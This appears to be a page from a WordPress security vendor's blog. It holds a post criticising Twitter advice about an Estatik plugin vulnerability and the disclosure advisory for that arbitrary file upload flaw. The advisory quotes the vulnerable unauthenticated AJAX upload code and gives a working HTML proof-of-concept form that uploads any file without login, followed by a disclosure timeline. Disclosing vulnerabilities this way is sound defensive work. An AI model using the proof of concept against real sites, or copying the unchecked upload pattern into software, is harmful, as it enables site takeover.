12 Aug

You Are Not Always Going to Get The Best Information on WordPress Plugin Vulnerabilities From Twitter

We are always looking for ways to improve the vulnerability data on WordPress plugins we provide to our customers. One of the things we have been doing recently is reviewing some old third-party data on hacking attempts to help identify vulnerabilities that probably have been known and exploited by hackers for some time, but have continued to exists in the plugins because nobody on the good sign of things was looking for them (which is contrary to the marketing claims you might hear from a certain WordPress security company).

Through that we found an arbitrary file upload vulnerability in the Estatik plugin. Among common types of vulnerabilities, arbitrary file upload vulnerabilities are probably the most likely to be exploited, so having one exist in a plugin for more than a year after it looks like hacker had been targeting it, doesn’t point to the security of WordPress plugins being great at this time.

After finding the vulnerability we notified the developer of the plugin on July 25. After a week went by without a response from them, we publicly disclosed the vulnerability. Alongside of that we added it to our data set for this service and added it to the free data that comes with the companion plugin for the service, so that even those that are not using the service would get notified of the issue if they were using the vulnerable plugin. We also notified the Plugin Directory of the issue and the plugin was removed from it pending the vulnerability being fixed (well hopefully being fixed, considering the issue of the Plugin Directory restoring plugins without vulnerabilities actually being fixed).

Earlier today another data source for WordPress plugin vulnerabilities, the WPScan Vulnerability Database, finally got around to including the vulnerability (yet another reminder of the limitations of that as a data source). That lead to a number of Twitter accounts mentioning the vulnerability, relying on any of those accounts would have left you finding out out more than week after everyone that was using our plugin, our service, or following us. But some tweets had the further issue of recommending doing something that you can’t do at the moment, upgrading from the vulnerable version of the plugin.

The plugin is still currently removed from the directory, if you visit its page right now you get this:

estatik-plugin-directory-page

So there isn’t an upgrade available for the plugin in WordPress at this time (there is a new version currently in the works though).

Despite that one of the tweets told people to “Upgrade now”:

Another one lists the information as an “Update tip”:

01 Aug

Arbitrary File Upload Vulnerability in Estatik

As we continue to review old third-party data on hacking attempts to identity more vulnerabilities that hackers have likely already discovered in WordPress plugins we spotted an arbitrary file upload vulnerability in the plugin Estatik.

Back in June of last year a request was made for the file /wp-content/plugins/estatik/front_templates/css/es_front_responsive.css, for what was likely a probe for usage of the plugin before exploiting it. Looking over that plugin for any obvious issues we found that in the current version of it, 2.2.5, a file upload capability is accessible without being logged, despite only being intended to be accessed by users logged in as Administrators.

The issue starts with the function es_prop_media_images() being made accessible through WordPress AJAX functionality to those not logged in (in the file /admin_template/es_property/es_property_functions.php):

231
add_action('wp_ajax_nopriv_es_prop_media_images', 'es_prop_media_images');

In that function the following code saves an uploaded file sent with a request to the AJAX function

131
132
133
134
135
136
137
$image_name = time()."_".$_FILES['es_media_images']['name'][$i];
 
$sourcePath = $_FILES['es_media_images']['tmp_name'][$i];  
 
$targetPath = $upload_dir['path']."/".$image_name;
 
move_uploaded_file($sourcePath,$targetPath) ;

Proof of Concept

The following proof of concept will upload the selected  file and put it in the current month’s directory inside of the /wp-content/uploads/ directory. The name of the file in the upload directory with be the time the file was saved as output by the function time() followed by a “_” and then name of the as it was uploaded.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="es_prop_media_images" />
<input type="file" name="es_media_images[]" /> 
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 7/25/2016 – Developer notified.
  • 8/1/2016 – WordPress.org Plugin Directory notified.
  • 8/1/2016 – WordPres.org Plugin Directory removes plugin.
  • Week of 8/14/2016 – Version 2.3.0 released, which fixes vulnerability, but leaves a lesser vulnerability.